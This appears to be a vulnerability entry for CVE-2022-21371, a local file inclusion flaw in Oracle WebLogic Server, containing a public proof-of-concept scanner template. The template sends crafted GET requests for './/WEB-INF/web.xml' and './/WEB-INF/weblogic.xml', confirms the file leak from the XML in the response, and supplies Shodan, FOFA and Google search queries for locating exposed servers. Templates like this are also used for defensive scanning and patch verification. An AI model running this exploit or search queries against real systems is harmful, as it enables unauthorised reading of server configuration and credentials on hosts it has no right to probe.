An easily exploitable local file inclusion vulnerability allows unauthenticated attackers with network access via HTTP to compromise Oracle WebLogic Server. Supported versions that are affected are 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 and 14.1.1.0.0. Successful attacks of this vulnerability can result in unauthorized and sometimes complete access to critical data.
PoC代码[已公开]
id: CVE-2022-21371
info:
name: Oracle WebLogic Server Local File Inclusion
author: paradessia,narluin
severity: high
description: An easily exploitable local file inclusion vulnerability allows unauthenticated attackers with network access via HTTP to compromise Oracle WebLogic Server. Supported versions that are affected are 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 and 14.1.1.0.0. Successful attacks of this vulnerability can result in unauthorized and sometimes complete access to critical data.
impact: |
An attacker can read sensitive files containing credentials, configuration details, or other sensitive information.
remediation: |
Apply the latest security patches provided by Oracle to fix the vulnerability.
reference:
- https://www.oracle.com/security-alerts/cpujan2022.html
- https://nvd.nist.gov/vuln/detail/CVE-2022-21371
- https://gist.github.com/picar0jsu/f3e32939153e4ced263d3d0c79bd8786
- http://packetstormsecurity.com/files/165736/Oracle-WebLogic-Server-14.1.1.0.0-Local-File-Inclusion.html
- https://github.com/Mr-xn/CVE-2022-21371
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2022-21371
cwe-id: CWE-22
epss-score: 0.94161
epss-percentile: 0.99911
cpe: cpe:2.3:a:oracle:weblogic_server:12.1.3.0.0:*:*:*:*:*:*:*
metadata:
max-request: 2
vendor: oracle
product: weblogic_server
shodan-query:
- http.title:"oracle peoplesoft sign-in"
- product:"oracle weblogic"
fofa-query: title="oracle peoplesoft sign-in"
google-query: intitle:"oracle peoplesoft sign-in"
tags: cve,cve2022,lfi,weblogic,oracle,packetstorm
http:
- method: GET
raw:
- |+
GET {{path}} HTTP/1.1
Host: {{Hostname}}
payloads:
path:
- .//WEB-INF/weblogic.xml
- .//WEB-INF/web.xml
stop-at-first-match: true
unsafe: true
matchers-condition: and
matchers:
- type: dsl
dsl:
- 'contains(body, "<web-app") && contains(body, "</web-app>")'
- 'contains(body, "<weblogic-web-app") && contains(body, "</weblogic-web-app>")'
condition: or
- type: dsl
dsl:
- 'contains(header, "text/xml")'
- 'contains(header, "application/xml")'
condition: or
- type: status
status:
- 200
# digest: 4a0a00473045022100e360975895c32d2d282dfae17d7bebf4123d87e38564ff133fc44d71934af6e002207af74399aed9d134583e4493161150bb54901150891a1e4283a6f819908be996:922c64590222798bb761d5b6d8e72950